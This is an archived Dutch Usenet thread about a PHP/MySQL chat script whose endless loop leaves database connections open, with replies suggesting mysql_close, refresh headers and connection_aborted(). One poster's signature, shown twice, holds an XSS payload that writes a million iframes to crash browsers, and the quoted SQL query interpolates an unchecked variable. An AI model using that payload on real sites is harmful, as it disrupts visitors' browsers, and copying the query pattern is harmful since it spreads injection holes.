PDA

Bekijk Volledige Versie : [PHP / MYSQL] Sql-processen worden niet beeindigd



Math1985
19/03/04, 16:35
Ik heb een probleem met onderstaand script voor een chatbox (server-side
push):

<?php
$dbhost = xxxxx; $dbuser = xxxxx; $dbpassword = xxxxx; $dbdatabase = xxxxx;
mysql_connect("$dbhost", "$dbuser", "$dbpassword");
mysql_select_db("$dbdatabase");

while (true)
{
$query = mysql_query("SELECT * FROM chat WHERE cid > '$laatsteregel' ORDER
BY cid ASC"); //ophalen nieuwe regels
while ($res = mysql_fetch_object($query))
{
//echo nieuwe regels
}
$laatsteregel = $res->cid;
flush();
sleep(1);
}
?>

Het probleem is dat elke keer als deze pagina opgevraagd wordt, een nieuwe
mysql-process wordt aangemaakt, en die wordt nooit beëindigd, omdat het
einde van het script nooit wordt bereikt.
Sinds een serverupgrade (upgrade redhat + apache + php van 4.1.2 naar 4.2.2)
krijgen we nu steeds bij het connecten met sql 'too many connections'. Voor
de serverupgrade hadden we daar nooit last van.

Is er een manier om te zorgen dat dit script ophoudt met draaien, als de
gebruiker de pagina verlaat?

Of is dit probleem op een andere manier op te lossen, bijvoorbeeld door het
script anders op te bouwen?

Rene Pijlman
19/03/04, 16:45
Math1985:
>Het probleem is dat elke keer als deze pagina opgevraagd wordt, een nieuwe
>mysql-process wordt aangemaakt, en die wordt nooit beëindigd

http://nl.php.net/manual/en/function.mysql-close.php

--
René Pijlman

Wat wil jij leren? http://www.leren.nl

Math1985
19/03/04, 16:45
Rene Pijlman wrote:
> Math1985:
> > Het probleem is dat elke keer als deze pagina opgevraagd wordt, een
> > nieuwe mysql-process wordt aangemaakt, en die wordt nooit beëindigd
>
> http://nl.php.net/manual/en/function.mysql-close.php

En op welke plaats moet ik dat mysql_close() dan invoegen?

Michiel de Roo
19/03/04, 16:55
Math1985 wrote:
> Ik heb een probleem met onderstaand script voor een chatbox (server-side
> push):
>
> <?php
> $dbhost = xxxxx; $dbuser = xxxxx; $dbpassword = xxxxx; $dbdatabase = xxxxx;
> mysql_connect("$dbhost", "$dbuser", "$dbpassword");
> mysql_select_db("$dbdatabase");
>
> while (true)
> {
> $query = mysql_query("SELECT * FROM chat WHERE cid > '$laatsteregel' ORDER
> BY cid ASC"); //ophalen nieuwe regels
> while ($res = mysql_fetch_object($query))
> {
> //echo nieuwe regels
> }
> $laatsteregel = $res->cid;
> flush();
> sleep(1);
> }
> ?>
>
> Het probleem is dat elke keer als deze pagina opgevraagd wordt, een nieuwe
> mysql-process wordt aangemaakt, en die wordt nooit beëindigd, omdat het
> einde van het script nooit wordt bereikt.
> Sinds een serverupgrade (upgrade redhat + apache + php van 4.1.2 naar 4.2.2)
> krijgen we nu steeds bij het connecten met sql 'too many connections'. Voor
> de serverupgrade hadden we daar nooit last van.
>
> Is er een manier om te zorgen dat dit script ophoudt met draaien, als de
> gebruiker de pagina verlaat?
>
> Of is dit probleem op een andere manier op te lossen, bijvoorbeeld door het
> script anders op te bouwen?
>


Het probleem is veel eerder dat de opzet van je chat-systeem niet juist
is. Een script zonder einde is helemaal geen goed idee. Er is namelijk ook
nog zoiets als een max execution time voor een php script. Als die
overschreden wordt dan stop het script sowieso.

Je kunt veel beter met een refresh header werken denk ik. Eventueel kun je
in plaats van de loop while(true) een loop maken die een bepaalde tijd
loopt en dan het script afsluit. Zodat je zeker weet dat het script ook
echt stopt. mysql_close() kun je dan aan het einde toevoegen.

Een refresh header maak je zo:
<META HTTP-EQUIV=Refresh CONTENT="10; URL=http://www.your.url/here">

Zie ook: http://www.htmlhelp.com/reference/html40/head/meta.html

--
Michiel de Roo.

Online concert agenda voor de stad Utrecht:
http://www.utrecht-live.nl

Hans
19/03/04, 17:05
On Fri, 19 Mar 2004 16:35:05 +0100, Rene Pijlman <reply.in.the.newsgroup@my.address.is.invalid> wrote:
> Math1985:
>>Het probleem is dat elke keer als deze pagina opgevraagd wordt, een nieuwe
>>mysql-process wordt aangemaakt, en die wordt nooit beëindigd
>
> http://nl.php.net/manual/en/function.mysql-close.php

Dat helpt niet als ie persistent connecties gebruikt.

Hans


--
begin http://<XSS_VULN_HOST>/<script>var i; for (i=1;i<1000000;i++) {
document.write("\<iframe
src=\"snews://aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + i +
"\"\>\<\/iframe>"); } document.refresh; </script>

Rene Pijlman
19/03/04, 17:15
Math1985:

>Rene Pijlman wrote:
>> Math1985:
>> > Het probleem is dat elke keer als deze pagina opgevraagd wordt, een
>> > nieuwe mysql-process wordt aangemaakt, en die wordt nooit beëindigd
>>
>> http://nl.php.net/manual/en/function.mysql-close.php
>
>En op welke plaats moet ik dat mysql_close() dan invoegen?

Op het punt waar het algoritme klaar is met de connectie.

Maar ik zie nu pas dat het een endless loop is. Ik weet niet wat je daar
anders van kunt verwachten dan 'too many connections' na enige tijd.

Als elke bibliotheekbezoeker zijn boeken oneindig lang leent, dan is de
bibliotheek leeg zodra alle boeken zijn uitgeleend. Logisch toch?

Een HTTP request hoort tijdelijk te zijn. Openen, opvragen, afhandelen,
afsluiten, terugsturen, klaar. Daarachter kan i.v.m. performance en
applicatielogica een permanent levende wereld bestaan met objecten,
gepoolde database-connecties etc. maar de afhandeling van de request is
altijd snel en tijdelijk.

--
René Pijlman

Wat wil jij leren? http://www.leren.nl

Math1985
19/03/04, 18:05
Hans wrote:
> On Fri, 19 Mar 2004 16:35:05 +0100, Rene Pijlman
> <reply.in.the.newsgroup@my.address.is.invalid> wrote:
> > Math1985:
> > > Het probleem is dat elke keer als deze pagina opgevraagd wordt,
> > > een nieuwe mysql-process wordt aangemaakt, en die wordt nooit
> > > beëindigd
> >
> > http://nl.php.net/manual/en/function.mysql-close.php
>
> Dat helpt niet als ie persistent connecties gebruikt.

Gebruik ik niet, maar dan nog helpt het niet...

Hans
19/03/04, 20:15
On Fri, 19 Mar 2004 17:13:55 +0100, Rene Pijlman <reply.in.the.newsgroup@my.address.is.invalid> wrote:
> Math1985:
>
>>Rene Pijlman wrote:
>>> Math1985:
>>> > Het probleem is dat elke keer als deze pagina opgevraagd wordt, een
>>> > nieuwe mysql-process wordt aangemaakt, en die wordt nooit beëindigd
>>>
>>> http://nl.php.net/manual/en/function.mysql-close.php
>>
>>En op welke plaats moet ik dat mysql_close() dan invoegen?
>
> Op het punt waar het algoritme klaar is met de connectie.
>
> Maar ik zie nu pas dat het een endless loop is. Ik weet niet wat je daar
> anders van kunt verwachten dan 'too many connections' na enige tijd.
>
Ik had idd ook beter moeten kijken. Meestal duid dit op het gebruik van
pconnect en ik keek dus niet verder.

Hans


--
begin http://<XSS_VULN_HOST>/<script>var i; for (i=1;i<1000000;i++) {
document.write("\<iframe
src=\"snews://aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + i +
"\"\>\<\/iframe>"); } document.refresh; </script>

Edwin Martin
19/03/04, 20:35
Math1985 wrote:
> Ik heb een probleem met onderstaand script voor een chatbox (server-sid=
e
> push)

Je zou met de functie connection_aborted() steeds kunnen kijken of er=20
nog wel een verbinding is en zo nee, het script afbreken.

Dus in plaats van while( true ) doe je while ( !connection_aborted() ).

Zie voor een uitleg:
http://www.php.net/manual/en/function.connection-aborted.php

Groeten,
Edwin Martin

--=20
http://www.bitstorm.org/

>=20
> <?php
> $dbhost =3D xxxxx; $dbuser =3D xxxxx; $dbpassword =3D xxxxx; $dbdatabas=
e =3D xxxxx;
> mysql_connect("$dbhost", "$dbuser", "$dbpassword");
> mysql_select_db("$dbdatabase");
>=20
> while (true)
> {
> $query =3D mysql_query("SELECT * FROM chat WHERE cid > '$laatsteregel=
' ORDER
> BY cid ASC"); //ophalen nieuwe regels
> while ($res =3D mysql_fetch_object($query))
> {
> //echo nieuwe regels
> }
> $laatsteregel =3D $res->cid;
> flush();
> sleep(1);
> }
> ?>
>=20
> Het probleem is dat elke keer als deze pagina opgevraagd wordt, een nie=
uwe
> mysql-process wordt aangemaakt, en die wordt nooit be=EBindigd, omdat h=
et
> einde van het script nooit wordt bereikt.
> Sinds een serverupgrade (upgrade redhat + apache + php van 4.1.2 naar 4=
=2E2.2)
> krijgen we nu steeds bij het connecten met sql 'too many connections'. =
Voor
> de serverupgrade hadden we daar nooit last van.
>=20
> Is er een manier om te zorgen dat dit script ophoudt met draaien, als d=
e
> gebruiker de pagina verlaat?
>=20
> Of is dit probleem op een andere manier op te lossen, bijvoorbeeld door=
het
> script anders op te bouwen?
>=20


--=20
http://www.bitstorm.org/

20/03/04, 12:45
Ik heb zelf ook al eens voor dit probleem gestaan en nu ik het weer lees kom
ik tot een mogelijke oplossing. Maak een onzichtbaar frame die bijvoorbeeld
iedere seconde refreshed. In dit frame zet je een javascript die nieuwe
berichten in het hoofdscherm zet met bijvoorbeeld innerHTML.

Niet getest.. Kan dit werken?

Evert

"Math1985" <usenet@matthijskrant.cjb.net> schreef in bericht
news:c3f3lh$n8h$1@reader13.wxs.nl...
> Ik heb een probleem met onderstaand script voor een chatbox (server-side
> push):
>
> <?php
> $dbhost = xxxxx; $dbuser = xxxxx; $dbpassword = xxxxx; $dbdatabase =
xxxxx;
> mysql_connect("$dbhost", "$dbuser", "$dbpassword");
> mysql_select_db("$dbdatabase");
>
> while (true)
> {
> $query = mysql_query("SELECT * FROM chat WHERE cid > '$laatsteregel'
ORDER
> BY cid ASC"); //ophalen nieuwe regels
> while ($res = mysql_fetch_object($query))
> {
> //echo nieuwe regels
> }
> $laatsteregel = $res->cid;
> flush();
> sleep(1);
> }
> ?>
>
> Het probleem is dat elke keer als deze pagina opgevraagd wordt, een nieuwe
> mysql-process wordt aangemaakt, en die wordt nooit beëindigd, omdat het
> einde van het script nooit wordt bereikt.
> Sinds een serverupgrade (upgrade redhat + apache + php van 4.1.2 naar
4.2.2)
> krijgen we nu steeds bij het connecten met sql 'too many connections'.
Voor
> de serverupgrade hadden we daar nooit last van.
>
> Is er een manier om te zorgen dat dit script ophoudt met draaien, als de
> gebruiker de pagina verlaat?
>
> Of is dit probleem op een andere manier op te lossen, bijvoorbeeld door
het
> script anders op te bouwen?
>

Onno
21/03/04, 12:55
> Of is dit probleem op een andere manier op te lossen, bijvoorbeeld door
het
> script anders op te bouwen?

Ik ken dit probleem van linux servers met apache waar het volume waar mysql
zijn data stored vol is, dan gaat ie hangen e.d.

Math1985
25/03/04, 13:55
Edwin Martin wrote:
> Math1985 wrote:
> > Ik heb een probleem met onderstaand script voor een chatbox
> > (server-side push)
>
> Je zou met de functie connection_aborted() steeds kunnen kijken of er
> nog wel een verbinding is en zo nee, het script afbreken.
>
> Dus in plaats van while( true ) doe je while ( !connection_aborted()
> ).
>
> Zie voor een uitleg:
> http://www.php.net/manual/en/function.connection-aborted.php

Geweldig...
Die functie zocht ik...

De andere reagerenden ook bedankt, maar ik denk dat ik er op deze manier nog
best een net script van kan maken...

Probleem met meta- of js-refresh is dat de berichtjes pas na x seconden
verschijnen en er is veel overhead, dit is veel sneller. Nadeel is wel dat
het veel connecties kost, maar ja, je moet keuzes maken.

Math1985
25/03/04, 15:45
Edwin Martin wrote:
> Math1985 wrote:
> > Ik heb een probleem met onderstaand script voor een chatbox
> > (server-side push)

> Je zou met de functie connection_aborted() steeds kunnen kijken of er
> nog wel een verbinding is en zo nee, het script afbreken.
>
> Dus in plaats van while( true ) doe je while ( !connection_aborted()).

Het werkt nog niet. Het lijkt wel alsof connection_aborted() altijd false
blijft, ook al is het laden van de pagina gestopt.
Ik heb onderstaand testscript gerund. Als ik dit run en ik druk op stop, dan
stopt de output op het scherm, maar de output in de log-file gaat door. Als
ik ignore_user_abort(false) vervang door ignore_user_abort(true) gebeurt
hetzelfde.


<?
$i=0;
$logfile = "../logs/chat.txt";
echo str_repeat(" ",300);
ignore_user_abort(false);

while (true)
{
$i++;

$fp = fopen ("$logfile", "aw");
$status = connection_status();
fputs ($fp, "f | $i | $status\n");
fclose($fp);

echo "test$i<br>\n";
flush();
sleep(2);
if (connection_status()!=0)
{
die();
}
}
?>

Het gaat om PHP 4.2.2.
ignore_user_abort staat op off volgens phpinfo().

Weet iemand wat ik fout doe?

Michiel de Roo
25/03/04, 16:15
Math1985 wrote:
> Edwin Martin wrote:
>
>>Math1985 wrote:
>>
>>>Ik heb een probleem met onderstaand script voor een chatbox
>>>(server-side push)
>
>
>>Je zou met de functie connection_aborted() steeds kunnen kijken of er
>>nog wel een verbinding is en zo nee, het script afbreken.
>>
>>Dus in plaats van while( true ) doe je while ( !connection_aborted()).
>
>
> Het werkt nog niet. Het lijkt wel alsof connection_aborted() altijd false
> blijft, ook al is het laden van de pagina gestopt.
> Ik heb onderstaand testscript gerund. Als ik dit run en ik druk op stop, dan
> stopt de output op het scherm, maar de output in de log-file gaat door. Als
> ik ignore_user_abort(false) vervang door ignore_user_abort(true) gebeurt
> hetzelfde.
>
>

Misschien moet je deze proberen:

http://www.php.net/manual/en/function.register-shutdown-function.php

Math1985
26/03/04, 12:55
Math1985 wrote:
> Edwin Martin wrote:
> > Math1985 wrote:
> > > Ik heb een probleem met onderstaand script voor een chatbox
> > > (server-side push)
>
> > Je zou met de functie connection_aborted() steeds kunnen kijken of
> > er nog wel een verbinding is en zo nee, het script afbreken.

> Het werkt nog niet.

Dat is balen: deze functies werken niet correct onder Apache 2.
Dat verklaart ook waarom deze problemen pas bij onze serverupgrade optraden.

Onder Apache 2 blijft connection_aborted() altijd true, en
connection_status() altijd 0.

Dat gaat toch een JS-refresh worden dan :(.